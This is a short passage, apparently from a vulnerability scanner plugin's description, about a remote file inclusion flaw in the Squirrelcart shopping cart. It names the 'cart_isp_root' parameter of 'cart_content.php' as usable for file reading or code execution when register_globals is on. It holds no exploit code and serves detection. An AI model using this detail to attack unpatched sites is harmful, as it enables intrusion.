"The remote host is running Squirrelcart, a shopping cart program
written in PHP.

sanitize user-supplied input to the 'cart_isp_root' parameter of the
'cart_content.php' script before using it to include PHP code. 
Provided PHP's 'register_globals' setting is enabled, an
unauthenticated attacker may be able to exploit this issue to view
arbitrary files on the remote host or to execute arbitrary PHP code,
possibly taken from third-party hosts." );
